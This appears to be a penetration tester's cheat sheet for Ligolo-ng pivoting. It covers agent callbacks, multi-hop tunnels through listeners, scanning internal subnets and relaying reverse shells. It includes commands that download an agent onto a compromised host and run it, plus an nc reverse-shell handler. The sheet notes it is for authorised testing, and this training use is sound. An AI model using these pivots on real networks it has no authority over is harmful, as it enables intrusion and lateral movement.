daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ligolo-ng.md (28160B)


      1 ---
      2 title: "Ligolo-ng CLI: Routes, Listeners, and Multi-Hop Pivoting"
      3 description: "Ligolo-ng v0.9.x CLI guide covering managed routes, listeners, first pivots, multi-hop tunnels, reverse connections, scanning, and troubleshooting."
      4 category: tunneling-pivoting
      5 tags: [ligolo-ng, pivoting, tunneling, networking]
      6 tools: [Ligolo-ng, Nmap]
      7 difficulty: intermediate
      8 updated: "2026-08-25"
      9 source: "local:Kimi Agent Rose-Pine Flowcharts/Ligolo-ng Cheat sheet.md"
     10 ---
     11 # Ligolo-ng CLI Cheat Sheet
     12 
     13 > [!info] Rose Pine Dawn diagram pack
     14 > Each flowchart below opens at full resolution and includes its Mermaid source.
     15 > [Download all eight diagrams and sources as a ZIP](/diagrams/ligolo-ng/ligolo-dawn-diagrams.zip).
     16 
     17 > [!important] Version and scope
     18 > This sheet targets the **Ligolo-ng 0.9.x CLI** (latest release **v0.9.1**, Aug 2026),
     19 > checked against the installed `ligolo-proxy` and the upstream source. Older tutorials mix
     20 > obsolete hand-made TUN devices with newer managed commands — if a guide tells you to run
     21 > `ip tuntap` before anything else, it is pre-0.8 and out of date. The managed
     22 > interface/route/`autoroute` model landed in **v0.8**. Use this only on systems and
     23 > networks you are authorised to test.
     24 
     25 > [!tip] New here and confused? Read in this order
     26 > 1. **[Start Here](#start-here-what-ligolo-ng-actually-does)** — the 30-second picture.
     27 > 2. **[The One Big Idea](#the-one-big-idea-connecting-is-only-step-zero)** — why "connected" is not the finish line.
     28 > 3. **[Vocabulary](#vocabulary-the-words-that-trip-people-up)** — the six words the tool keeps using.
     29 > 4. **[Which workflow do I need?](#which-workflow-do-i-need)** — pick your path.
     30 > 5. Then jump to **Workflow A, B, or C**. Everything after that is reference.
     31 
     32 ---
     33 
     34 ## Start Here: What Ligolo-ng Actually Does
     35 
     36 You have a foothold on one machine (the **pivot**) that can see a network you cannot.
     37 Ligolo-ng turns that foothold into a tunnel, so tools on **your** machine (`nmap`, `curl`,
     38 a browser) can talk to hosts on the hidden network as if you were plugged into it.
     39 
     40 There are always three players:
     41 
     42 <figure class="diagram-plate corners">
     43   <a class="diagram-plate__image" href="/diagrams/ligolo-ng/01-three-players.png" target="_blank" rel="noopener">
     44     <img src="/diagrams/ligolo-ng/01-three-players.png" alt="Attacker proxy, pivot agent, and internal target" loading="lazy" decoding="async" />
     45   </a>
     46   <figcaption>
     47     <span>The three Ligolo-ng players</span>
     48     <span class="diagram-plate__downloads">
     49       <a href="/diagrams/ligolo-ng/01-three-players.png" download>PNG</a>
     50       <a href="/diagrams/ligolo-ng/01-three-players.mmd" download>Mermaid source</a>
     51     </span>
     52   </figcaption>
     53 </figure>
     54 
     55 - **Proxy** = the program **you** run on your attacking box. It owns the CLI you type into.
     56 - **Agent** = the small binary you run **on the pivot**. It connects *back* to your proxy.
     57 - **Target** = whatever is behind the pivot that you want to reach.
     58 
     59 > [!info] Two things that surprise people
     60 > - The **agent connects to the proxy**, not the other way around. Traffic looks like the
     61 >   pivot making an outbound TLS connection, which usually sails through firewalls.
     62 > - Ligolo-ng is **not a SOCKS proxy**. You do not set a proxy in your tools. You point
     63 >   `nmap` at the real target IP, and a route on your own OS quietly sends it down the tunnel.
     64 
     65 ---
     66 
     67 ## The One Big Idea: Connecting Is Only Step Zero
     68 
     69 When the agent connects, the proxy logs `Agent joined.` — in other words, **connected ≠
     70 traffic flowing**. That message only means the phone line is up. No packets reach the target yet.
     71 
     72 To actually move traffic you assemble four small pieces, in order. Think of them as Lego
     73 bricks that stack:
     74 
     75 <figure class="diagram-plate corners">
     76   <a class="diagram-plate__image" href="/diagrams/ligolo-ng/02-four-bricks.png" target="_blank" rel="noopener">
     77     <img src="/diagrams/ligolo-ng/02-four-bricks.png" alt="Session, interface, route, and tunnel flow" loading="lazy" decoding="async" />
     78   </a>
     79   <figcaption>
     80     <span>The four pieces of a working tunnel</span>
     81     <span class="diagram-plate__downloads">
     82       <a href="/diagrams/ligolo-ng/02-four-bricks.png" download>PNG</a>
     83       <a href="/diagrams/ligolo-ng/02-four-bricks.mmd" download>Mermaid source</a>
     84     </span>
     85   </figcaption>
     86 </figure>
     87 
     88 That is the whole tool. Every workflow below is just this pattern, sometimes repeated.
     89 If traffic is not flowing, you are missing one of these four bricks — that is the first
     90 thing to check.
     91 
     92 > [!success] The one-liner to remember
     93 > **Pick the session → give it an interface → route the subnet → start the tunnel.**
     94 > `autoroute` bundles the last three so you often only do two things.
     95 
     96 ---
     97 
     98 ## Vocabulary: The Words That Trip People Up
     99 
    100 | Word | Plain meaning |
    101 |---|---|
    102 | **proxy** | The `ligolo-proxy` program on *your* box. It is the CLI. |
    103 | **agent** | The binary on the *pivot* that connects back to the proxy. |
    104 | **session** | Which agent you are currently controlling. Switch with `session`. |
    105 | **interface** | A virtual network card (`tun`) on your box, named `ligolo`, `ligolo1`, etc. Traffic put here goes down the tunnel. |
    106 | **route** | A rule: "IPs in *this* subnet belong to *that* interface." |
    107 | **tunnel** | The live link that carries packets from an interface, through the agent, to the target. |
    108 | **listener** | A relay socket opened *on the agent* that forwards connections (used for double pivots and reverse shells). |
    109 | **`--addr`** | On a listener: the socket opened **on the agent (pivot)**. "Where people connect *to*." |
    110 | **`--to`** | On a listener: the destination reached **from the proxy/attacker side**. "Where it comes *out*." |
    111 
    112 > [!warning] The single most confusing point
    113 > On `listener_add`, **`--to 127.0.0.1:11601` means the *proxy* machine's own port 11601**,
    114 > not the pivot's localhost. `--addr` lives on the agent; `--to` lives on the proxy side.
    115 > There is a [dedicated diagram](#listener-direction-addr-in-to-out) for this below.
    116 
    117 ---
    118 
    119 ## Which Workflow Do I Need?
    120 
    121 <figure class="diagram-plate corners">
    122   <a class="diagram-plate__image" href="/diagrams/ligolo-ng/03-which-workflow.png" target="_blank" rel="noopener">
    123     <img src="/diagrams/ligolo-ng/03-which-workflow.png" alt="Decision tree for first pivots, multiple pivots, and reverse connections" loading="lazy" decoding="async" />
    124   </a>
    125   <figcaption>
    126     <span>Choose the right Ligolo-ng workflow</span>
    127     <span class="diagram-plate__downloads">
    128       <a href="/diagrams/ligolo-ng/03-which-workflow.png" download>PNG</a>
    129       <a href="/diagrams/ligolo-ng/03-which-workflow.mmd" download>Mermaid source</a>
    130     </span>
    131   </figcaption>
    132 </figure>
    133 
    134 - **Most of the time it is Workflow A.** You own one box, you want to scan the subnet behind it.
    135 - **Workflow B** is when the interesting network is behind a *second* machine that only the
    136   first pivot can talk to.
    137 - **Workflow C** is for catching reverse shells / callbacks from inside, and for reaching a
    138   service bound to the pivot's own `127.0.0.1`.
    139 
    140 ---
    141 
    142 ## Setup: Start the Proxy and Agent (do this once)
    143 
    144 ### Reading the prompt (so you always know where you are)
    145 
    146 ```text
    147 ligolo-ng »
    148 ```
    149 No agent selected. Global commands (`session`, `interface_list`, `tunnel_list`) work, but
    150 agent-specific commands (`ifconfig`, `autoroute`, `listener_add`) do **not**.
    151 
    152 ```text
    153 [Agent : root@dmz01] »
    154 ```
    155 An agent **is** selected. Agent-specific commands now act on that agent. If a command
    156 complains *"please select an agent"*, this prompt is why — run `session` first.
    157 
    158 ### 1. Start the proxy on the attacker
    159 
    160 ```bash
    161 sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601
    162 ```
    163 
    164 `-selfcert` generates a throwaway TLS certificate. `-laddr` sets the listen address/port
    165 (`0.0.0.0:11601` is the default). It needs `sudo` because creating `tun` interfaces requires
    166 `CAP_NET_ADMIN` (see [TUN permission error](#tun-permission-error) for a capabilities-only
    167 alternative).
    168 
    169 > [!note] Binary names
    170 > Upstream release archives name the binaries `proxy` and `agent` (`./proxy -selfcert`,
    171 > `./agent -connect …`). Some distro/package builds — including the one installed here —
    172 > name them `ligolo-proxy` and `ligolo-agent`. The flags are identical; only the filename
    173 > differs. This sheet uses `ligolo-proxy` / `agent`.
    174 
    175 ### 2. Start the agent on the pivot
    176 
    177 Linux:
    178 ```bash
    179 chmod +x ./agent
    180 ./agent -connect 10.10.14.68:11601 -ignore-cert -retry
    181 ```
    182 
    183 Windows:
    184 ```powershell
    185 .\agent.exe -connect 10.10.14.68:11601 -ignore-cert -retry
    186 ```
    187 
    188 Keep this process running. `-ignore-cert` skips certificate validation and is only
    189 acceptable in an isolated lab — use [fingerprint pinning](#certificates) for anything real.
    190 `-retry` makes the agent keep reconnecting if the proxy is not ready yet.
    191 
    192 > [!check] What success looks like
    193 > Back in the proxy CLI you see `Agent joined.` with the pivot's `name=` and `remote=`.
    194 > Confirm with:
    195 > ```text
    196 > session
    197 > ```
    198 > You should see it listed, e.g. `1 - root@dmz01`. **If the `INTERFACE` column is blank,
    199 > that is normal at this stage** — you have not built a tunnel yet. That is Workflow A.
    200 
    201 > [!info] Pivot can't connect out? Use bind mode
    202 > If an egress firewall stops the pivot from dialing back to you, reverse the direction:
    203 > the **agent listens** and the **proxy connects to it**.
    204 > ```bash
    205 > # on the pivot (agent waits for the proxy)
    206 > ./agent -bind 0.0.0.0:11601 -ignore-cert
    207 > ```
    208 > ```text
    209 > # in the proxy CLI (you reach out to the pivot)
    210 > connect_agent --ip <pivot-ip>:11601
    211 > ```
    212 > Everything after this (session, autoroute, listeners) works exactly the same.
    213 
    214 ---
    215 
    216 ## Workflow A — Your First Pivot (the 90% case)
    217 
    218 **Goal:** reach `172.16.10.0/24`, the network behind pivot `dmz01`, from your box.
    219 
    220 <figure class="diagram-plate corners">
    221   <a class="diagram-plate__image" href="/diagrams/ligolo-ng/04-workflow-a.png" target="_blank" rel="noopener">
    222     <img src="/diagrams/ligolo-ng/04-workflow-a.png" alt="First-pivot autoroute sequence" loading="lazy" decoding="async" />
    223   </a>
    224   <figcaption>
    225     <span>Workflow A — first pivot</span>
    226     <span class="diagram-plate__downloads">
    227       <a href="/diagrams/ligolo-ng/04-workflow-a.png" download>PNG</a>
    228       <a href="/diagrams/ligolo-ng/04-workflow-a.mmd" download>Mermaid source</a>
    229     </span>
    230   </figcaption>
    231 </figure>
    232 
    233 ### Step 1 — Select the agent
    234 
    235 ```text
    236 session
    237 ```
    238 Use the arrow keys to highlight `1 - root@dmz01`, press **Enter**. The prompt changes to
    239 `[Agent : root@dmz01] »`.
    240 
    241 > [!warning] v0.9.x behaviour
    242 > Use **bare `session`** and pick interactively. Do **not** type `session 1` or `session -i 1`
    243 > — those are copied from incompatible older guides and will not work.
    244 
    245 ### Step 2 — Look at the pivot's networks
    246 
    247 ```text
    248 ifconfig
    249 ```
    250 This shows the interfaces **on dmz01**. Find the internal subnet you want (e.g. an address
    251 in `172.16.10.0/24`). This tells you what to route.
    252 
    253 ### Step 3 — Autoroute (the shortcut that does everything)
    254 
    255 ```text
    256 autoroute
    257 ```
    258 `autoroute` is **interactive** — it walks you through three prompts:
    259 1. **Select routes** — press **Space** to tick the internal subnet(s) you want (e.g.
    260    `172.16.10.0/24`), then **Enter**. **Do not** tick loopback, the management network, or a
    261    subnet you can already reach locally.
    262 2. **Interface** — choose *create a new interface* (it names it `ligolo`) or reuse an existing one.
    263 3. **Start the tunnel?** — answer **Yes**.
    264 
    265 In one command it **creates the interface**, **adds the route(s)**, and **starts the tunnel** —
    266 that is bricks 2, 3, and 4 from [The One Big Idea](#the-one-big-idea-connecting-is-only-step-zero).
    267 
    268 > [!tip] Optional flags
    269 > - `autoroute --interface ligolo` — pre-names the interface and skips prompt 2.
    270 > - `autoroute --with-ipv6` — also offers IPv6 addresses (IPv4-only by default).
    271 > There is **no** flag to pre-pick routes or skip the "start tunnel?" confirmation; those stay interactive.
    272 
    273 > [!failure] Two errors people hit here
    274 > - `please, select an agent using the session command` → you skipped Step 1. Run `session` first.
    275 > - Passing the interface name as a bare word (`autoroute ligolo`) errors — if you want to
    276 >   name it on the command line, it is a **flag**: `autoroute --interface ligolo`.
    277 
    278 ### Step 4 — Verify, then use it
    279 
    280 In Ligolo:
    281 ```text
    282 tunnel_list
    283 interface_list
    284 ```
    285 The agent should now show `ligolo` in its interface column, and `interface_list` should show
    286 your route.
    287 
    288 On the attacker (a normal shell, not the Ligolo CLI):
    289 ```bash
    290 ip route show dev ligolo
    291 ping -c 1 172.16.10.20
    292 nmap --unprivileged -sT -Pn -n 172.16.10.20
    293 ```
    294 
    295 If `ip route show dev ligolo` lists your subnet, the plumbing is correct. See
    296 [Scanning through the tunnel](#scanning-through-the-tunnel-nmap) for why the nmap flags matter.
    297 
    298 ### What autoroute did (the manual equivalent)
    299 
    300 Same result, done by hand — useful when `autoroute` offers the wrong subnet, or you need a
    301 route the pivot is not directly connected to:
    302 
    303 ```text
    304 interface_create --name ligolo
    305 route_add --name ligolo --route 172.16.10.0/24
    306 interface_list
    307 ```
    308 Then attach the tunnel to the agent:
    309 ```text
    310 session
    311 # select dmz01
    312 tunnel_start --tun ligolo
    313 ```
    314 
    315 Add or remove routes on the same interface at any time:
    316 ```text
    317 route_add --name ligolo --route 172.16.20.0/24
    318 route_del --name ligolo --route 172.16.20.0/24
    319 ```
    320 
    321 > [!note] Naming
    322 > `route_add` / `route_del` are the current commands. Older guides use
    323 > `interface_add_route` / `interface_del_route` — these still work as aliases in v0.9.x.
    324 
    325 ---
    326 
    327 ## Workflow B — Double / Multi Pivot
    328 
    329 **When:** the network you want (`10.20.30.0/24`) is behind a **second** machine (`srv02`)
    330 that only your **first** pivot (`dmz01`) can talk to. You cannot run the second agent
    331 against your own VPN IP, because `srv02` has no route to you. So you make the second agent
    332 connect to the **first pivot**, which relays it back to your proxy through the tunnel you
    333 already built. That relay is a **listener**.
    334 
    335 <figure class="diagram-plate corners">
    336   <a class="diagram-plate__image" href="/diagrams/ligolo-ng/05-double-pivot.png" target="_blank" rel="noopener">
    337     <img src="/diagrams/ligolo-ng/05-double-pivot.png" alt="Two Ligolo-ng agents and two routed interfaces" loading="lazy" decoding="async" />
    338   </a>
    339   <figcaption>
    340     <span>Workflow B — double pivot</span>
    341     <span class="diagram-plate__downloads">
    342       <a href="/diagrams/ligolo-ng/05-double-pivot.png" download>PNG</a>
    343       <a href="/diagrams/ligolo-ng/05-double-pivot.mmd" download>Mermaid source</a>
    344     </span>
    345   </figcaption>
    346 </figure>
    347 
    348 > [!important] The golden rule of multi-pivot
    349 > **Each pivot gets its own interface.** Pivot 1 → `ligolo`, Pivot 2 → `ligolo2`, and so on.
    350 > Both tunnels stay up at the same time. Never route the *same* subnet through two interfaces.
    351 
    352 ### Step 0 — Confirm Pivot 1 is fully working
    353 
    354 You should already have `dmz01 → ligolo → 172.16.10.0/24` from Workflow A. Check:
    355 ```text
    356 tunnel_list
    357 interface_list
    358 ```
    359 
    360 ### Step 1 — Add a listener on Pivot 1
    361 
    362 Select `dmz01`, then open a relay on it that forwards back to your proxy:
    363 ```text
    364 session
    365 # select dmz01
    366 listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601 --tcp
    367 listener_list
    368 ```
    369 This says: *"anything that connects to **dmz01:4444** (`--addr`, on the pivot) gets relayed,
    370 through the tunnel, to the proxy's own **127.0.0.1:11601** (`--to`)."* The listener port
    371 `4444` is your choice — pick anything free on the pivot; `--to 11601` must be the proxy's real
    372 port. If you prefer, bind only the address Pivot 2 can actually reach:
    373 ```text
    374 listener_add --addr 172.16.10.10:4444 --to 127.0.0.1:11601 --tcp
    375 ```
    376 
    377 ### Step 2 — Get the agent onto Pivot 2
    378 
    379 You often need to serve the agent binary through Pivot 1. On the attacker:
    380 ```bash
    381 python3 -m http.server 8000 --bind 127.0.0.1
    382 ```
    383 With `dmz01` selected, relay that file server to the pivot's reachable IP:
    384 ```text
    385 listener_add --addr 172.16.10.10:8000 --to 127.0.0.1:8000 --tcp
    386 ```
    387 On Pivot 2, pull it:
    388 ```bash
    389 wget http://172.16.10.10:8000/agent -O /tmp/agent && chmod +x /tmp/agent
    390 ```
    391 ```powershell
    392 iwr http://172.16.10.10:8000/agent.exe -OutFile C:\Windows\Temp\agent.exe
    393 ```
    394 
    395 ### Step 3 — Run Agent 2 against Pivot 1 (not against you)
    396 
    397 On Pivot 2:
    398 ```bash
    399 /tmp/agent -connect 172.16.10.10:4444 -ignore-cert -retry
    400 ```
    401 ```powershell
    402 C:\Windows\Temp\agent.exe -connect 172.16.10.10:4444 -ignore-cert -retry
    403 ```
    404 
    405 > [!warning] Use Pivot 1's IP *as Pivot 2 sees it*
    406 > Point Agent 2 at the listener you opened on Pivot 1, **not** your VPN IP. Pivot 2 has no
    407 > route to your VPN — that is the entire reason you are double-pivoting.
    408 
    409 ### Step 4 — Route the deep network through a NEW interface
    410 
    411 Back in the proxy CLI, the second agent now appears:
    412 ```text
    413 tunnel_list
    414 session
    415 # select srv02 (the new agent)
    416 ifconfig
    417 autoroute --interface ligolo2
    418 ```
    419 Tick **only** the new/deeper subnet (`10.20.30.0/24`) and start the tunnel.
    420 
    421 > [!danger] Do not re-route the shared subnet
    422 > Do **not** add `172.16.10.0/24` to `ligolo2` — it is already routed via `ligolo`. A
    423 > duplicate route can send packets down the wrong tunnel and silently break things.
    424 
    425 ### Step 5 — Verify both pivots are live
    426 
    427 ```text
    428 tunnel_list
    429 interface_list
    430 ```
    431 Expected:
    432 ```text
    433 dmz01 -> ligolo  -> 172.16.10.0/24
    434 srv02 -> ligolo2 -> 10.20.30.0/24
    435 ```
    436 On the attacker:
    437 ```bash
    438 ip route show dev ligolo
    439 ip route show dev ligolo2
    440 nmap --unprivileged -sT -Pn -n 10.20.30.25
    441 ```
    442 
    443 ### The N-hop pattern (pivot 3, 4, …)
    444 
    445 Each extra hop is the same four moves:
    446 1. Keep every existing tunnel running.
    447 2. `session` → select the **previous** agent; `listener_add` a relay to proxy-side `127.0.0.1:11601`.
    448 3. Run the new agent against the **previous** pivot's reachable IP + listener port.
    449 4. `session` → select the new agent; give it a **unique** interface (`ligolo3`…) and route
    450    **only** its new subnet.
    451 
    452 ---
    453 
    454 ## Workflow C — Reverse Connections
    455 
    456 Two related jobs, both solved with a listener: catching a **reverse shell** from inside,
    457 and reaching a service on the **pivot's own localhost**.
    458 
    459 ### Listener Direction: addr In, to Out
    460 
    461 The `--addr` vs `--to` split confuses everyone, so here it is as a picture. A listener is a
    462 one-way relay: connections arrive at `--addr` (on the agent) and pop out at `--to` (reached
    463 from the proxy side).
    464 
    465 <figure class="diagram-plate corners">
    466   <a class="diagram-plate__image" href="/diagrams/ligolo-ng/06-listener-direction.png" target="_blank" rel="noopener">
    467     <img src="/diagrams/ligolo-ng/06-listener-direction.png" alt="Connections enter the agent address and exit on the proxy side" loading="lazy" decoding="async" />
    468   </a>
    469   <figcaption>
    470     <span>Listener direction</span>
    471     <span class="diagram-plate__downloads">
    472       <a href="/diagrams/ligolo-ng/06-listener-direction.png" download>PNG</a>
    473       <a href="/diagrams/ligolo-ng/06-listener-direction.mmd" download>Mermaid source</a>
    474     </span>
    475   </figcaption>
    476 </figure>
    477 
    478 General form:
    479 ```text
    480 listener_add --addr <agent-bind-ip:port> --to <proxy-side-ip:port> --tcp   # or --udp
    481 listener_list
    482 listener_stop      # interactive selector in v0.9.x — do not append an ID
    483 ```
    484 
    485 ### Catch a reverse shell on your own listener
    486 
    487 <figure class="diagram-plate corners">
    488   <a class="diagram-plate__image" href="/diagrams/ligolo-ng/07-reverse-shell.png" target="_blank" rel="noopener">
    489     <img src="/diagrams/ligolo-ng/07-reverse-shell.png" alt="Internal callback relayed through a Ligolo-ng listener" loading="lazy" decoding="async" />
    490   </a>
    491   <figcaption>
    492     <span>Reverse-shell relay</span>
    493     <span class="diagram-plate__downloads">
    494       <a href="/diagrams/ligolo-ng/07-reverse-shell.png" download>PNG</a>
    495       <a href="/diagrams/ligolo-ng/07-reverse-shell.mmd" download>Mermaid source</a>
    496     </span>
    497   </figcaption>
    498 </figure>
    499 
    500 On the attacker, start your handler:
    501 ```bash
    502 nc -lvnp 4444
    503 ```
    504 With the pivot agent selected, relay the pivot's `:5555` to your handler:
    505 ```text
    506 listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:4444 --tcp
    507 ```
    508 Set the internal host's payload to call back to `<pivot-ip>:5555`. Ligolo relays it to your
    509 `127.0.0.1:4444`.
    510 
    511 ### Reach the pivot's own localhost (240.0.0.0/4 magic range)
    512 
    513 Sometimes the loot is a service bound to `127.0.0.1` **on the pivot** (a local-only admin
    514 panel, database, etc.). Ligolo maps the magic range `240.0.0.0/4` (an otherwise-unused IPv4
    515 block) to the selected tunnel's agent-side localhost. Route a `/32` from that block into the
    516 interface:
    517 ```text
    518 route_add --name ligolo --route 240.0.0.1/32
    519 ```
    520 ```bash
    521 curl http://240.0.0.1:8080/
    522 nmap --unprivileged -sT -Pn -n 240.0.0.1
    523 ```
    524 `240.0.0.1` now behaves like `127.0.0.1` **on dmz01**.
    525 
    526 > [!note] The official docs use the OS command for this step
    527 > `sudo ip route add 240.0.0.1/32 dev ligolo` does the same thing. Prefer the managed
    528 > `route_add` above so the route lives in Ligolo's config with everything else.
    529 
    530 For several pivots at once, give each a distinct `/32` so they do not collide:
    531 ```text
    532 route_add --name ligolo  --route 240.0.0.1/32   # dmz01 localhost
    533 route_add --name ligolo2 --route 240.0.0.2/32   # srv02 localhost
    534 ```
    535 
    536 ---
    537 
    538 ## Scanning Through the Tunnel (nmap)
    539 
    540 Ligolo rebuilds traffic in userspace — it is **not** forwarding raw Ethernet frames. So use
    541 **TCP connect** scans and skip host discovery, which is where beginners get empty results:
    542 
    543 ```bash
    544 nmap --unprivileged -sT -Pn -n -p 22,80,443,445,3389 172.16.10.20
    545 nmap --unprivileged -sT -Pn -n -sV 172.16.10.20
    546 nmap --unprivileged -sT -Pn -n -p- 172.16.10.20
    547 ```
    548 
    549 - `-sT` — TCP connect scan (raw SYN scans do not work reliably through the tunnel).
    550 - `-Pn` — skip ping/host-discovery (it lies through userspace tunnels).
    551 - `-n` — no DNS.
    552 - `--unprivileged` — force the userspace connect path even as root.
    553 
    554 If you *know* ICMP works to the subnet, `-PE` can help discovery, but do not trust raw
    555 SYN/ACK sweeps here.
    556 
    557 ---
    558 
    559 ## Certificates
    560 
    561 ### Fast lab (skip validation)
    562 
    563 ```bash
    564 sudo ligolo-proxy -selfcert
    565 ```
    566 ```bash
    567 ./agent -connect <proxy-ip>:11601 -ignore-cert
    568 ```
    569 The certificate warning is expected because validation is off.
    570 
    571 ### Fingerprint pinning (better, still easy)
    572 
    573 Start with `-selfcert`, then in the proxy CLI print the fingerprint:
    574 ```text
    575 certificate_fingerprint
    576 ```
    577 Give that SHA-256 to the agent so it validates without you shipping a CA:
    578 ```bash
    579 ./agent -connect <proxy-ip>:11601 -accept-fingerprint <SHA256-FINGERPRINT>
    580 ```
    581 
    582 ---
    583 
    584 ## Troubleshooting
    585 
    586 > [!bug] Diagnostic order: check the four bricks
    587 > Almost every "it doesn't work" is a missing/duplicated brick from
    588 > [The One Big Idea](#the-one-big-idea-connecting-is-only-step-zero): session, interface,
    589 > route, tunnel. Walk them in order.
    590 
    591 <figure class="diagram-plate corners">
    592   <a class="diagram-plate__image" href="/diagrams/ligolo-ng/08-troubleshooting.png" target="_blank" rel="noopener">
    593     <img src="/diagrams/ligolo-ng/08-troubleshooting.png" alt="Route, tunnel, reachability, and scan checks" loading="lazy" decoding="async" />
    594   </a>
    595   <figcaption>
    596     <span>Troubleshooting flow</span>
    597     <span class="diagram-plate__downloads">
    598       <a href="/diagrams/ligolo-ng/08-troubleshooting.png" download>PNG</a>
    599       <a href="/diagrams/ligolo-ng/08-troubleshooting.mmd" download>Mermaid source</a>
    600     </span>
    601   </figcaption>
    602 </figure>
    603 
    604 ### `please, select an agent using the session command`
    605 You ran an agent-specific command with no agent selected.
    606 ```text
    607 tunnel_list
    608 session
    609 # select the agent, then rerun the command
    610 ```
    611 
    612 ### `invalid usage of command 'autoroute' (unconsumed input 'ligolo')`
    613 The interface name is a flag, not a positional argument.
    614 ```text
    615 autoroute --interface ligolo   # right
    616 autoroute ligolo               # wrong
    617 ```
    618 
    619 ### Agent is online but the INTERFACE column is blank
    620 The control channel is up but no tunnel is started (the normal state right after connect):
    621 ```text
    622 session
    623 # select the agent
    624 autoroute
    625 ```
    626 Or the manual three bricks: `interface_create` → `route_add` → `tunnel_start --tun ligolo`.
    627 
    628 ### TUN permission error
    629 Run the proxy as root:
    630 ```bash
    631 sudo ligolo-proxy -selfcert
    632 ```
    633 Or grant only the needed capabilities to the trusted proxy binary:
    634 ```bash
    635 sudo setcap cap_net_admin,cap_net_raw+eip "$(command -v ligolo-proxy)"
    636 getcap "$(command -v ligolo-proxy)"
    637 ```
    638 
    639 ### Route exists but traffic fails
    640 Walk the layers (this is the flowchart above, in commands):
    641 ```text
    642 tunnel_list
    643 interface_list
    644 ```
    645 ```bash
    646 ip link show
    647 ip route
    648 ip route get <target-ip>
    649 ```
    650 Common causes:
    651 - The wrong agent is attached to the interface.
    652 - A broader local/VPN route wins over the Ligolo route.
    653 - The same subnet is on two Ligolo interfaces.
    654 - The selected agent itself cannot reach the target.
    655 - A host firewall drops the traffic.
    656 
    657 ### Agent 2 never appears during a double pivot
    658 With Pivot 1 selected, `listener_list`, then confirm:
    659 - Agent 2 connects to Pivot 1's reachable IP and the `--addr` port.
    660 - The listener's `--to` is `127.0.0.1:11601` on the **proxy** side.
    661 - The listener is TCP and the port is free on Pivot 1.
    662 - Agent 2 was started with `-retry` in case the relay was not ready yet.
    663 
    664 ### Stale interface or route (v0.8+ persists config)
    665 Managed interfaces/routes are saved in `ligolo-ng.yaml`. Inspect before duplicating:
    666 ```text
    667 interface_list
    668 ```
    669 Stop the tunnel, then clean up:
    670 ```text
    671 route_del --name <interface> --route <cidr>
    672 interface_delete --name <interface>
    673 ```
    674 
    675 ---
    676 
    677 ## Stop and Clean Up
    678 
    679 ```text
    680 tunnel_list                       # get agent IDs
    681 tunnel_stop                       # stop the selected agent's tunnel
    682 tunnel_stop --agent <agent-id>    # stop by ID without switching session
    683 listener_stop                     # interactive selector
    684 route_del --name ligolo2 --route 10.20.30.0/24
    685 interface_delete --name ligolo2   # asks for confirmation; removes saved config
    686 ```
    687 Stop each agent process on the pivots with **Ctrl-C**, and remove any transferred binaries
    688 once the authorised exercise is complete.
    689 
    690 ---
    691 
    692 ## v0.9.x Command Reference
    693 
    694 | Command | Scope | Purpose |
    695 |---|---|---|
    696 | `help` | Global | Show CLI commands |
    697 | `tunnel_list` | Global | List agents, assigned interfaces, and status |
    698 | `session` | Global / interactive | Select or switch the current agent |
    699 | `ifconfig` | Selected agent | Show the agent host's interfaces |
    700 | `autoroute [--interface NAME] [--with-ipv6]` | Selected agent | Create interface + routes, optionally start tunnel |
    701 | `tunnel_start --tun NAME` | Selected agent | Start the tunnel on a specific interface |
    702 | `tunnel_stop [--agent ID]` | Selected agent / global | Stop a tunnel |
    703 | `interface_list` | Global | List managed interfaces, routes, and state |
    704 | `interface_create --name NAME` | Global | Create/configure a TUN interface |
    705 | `interface_delete --name NAME` | Global | Delete a managed interface |
    706 | `route_add --name NAME --route CIDR` | Global | Add a route to an interface |
    707 | `route_del --name NAME --route CIDR` | Global | Delete a route from an interface |
    708 | `listener_add --addr IP:PORT --to IP:PORT --tcp\|--udp` | Selected agent | Bind on agent, relay toward proxy side |
    709 | `listener_list` | Global | List listeners across agents |
    710 | `listener_stop` | Global / interactive | Interactive selector, then stop a listener |
    711 | `connect_agent --ip IP:PORT` | Global | Dial a bind-mode agent that is listening |
    712 | `certificate_fingerprint` | Global | Print the self-signed cert fingerprint |
    713 | `kill` | Selected agent | Confirm, then terminate the agent (aliases: `agent_kill`, `session_kill`) |
    714 
    715 Accepted aliases (older names still work):
    716 ```text
    717 start                -> tunnel_start
    718 stop                 -> tunnel_stop
    719 iflist               -> interface_list
    720 ifcreate             -> interface_create
    721 ifdel                -> interface_delete
    722 interface_add_route  -> route_add
    723 interface_del_route  -> route_del
    724 session_list         -> tunnel_list
    725 ```
    726 
    727 ---
    728 
    729 ## Official References
    730 
    731 - [Ligolo-ng documentation](https://docs.ligolo.ng/)
    732 - [Quickstart](https://docs.ligolo.ng/Quickstart/)
    733 - [Advanced / double pivot](https://docs.ligolo.ng/sample/double/)
    734 - [Listeners](https://docs.ligolo.ng/Listeners/)
    735 - [Agent localhost magic range](https://docs.ligolo.ng/Localhost/)
    736 - [GitHub repository and releases](https://github.com/nicocha30/ligolo-ng)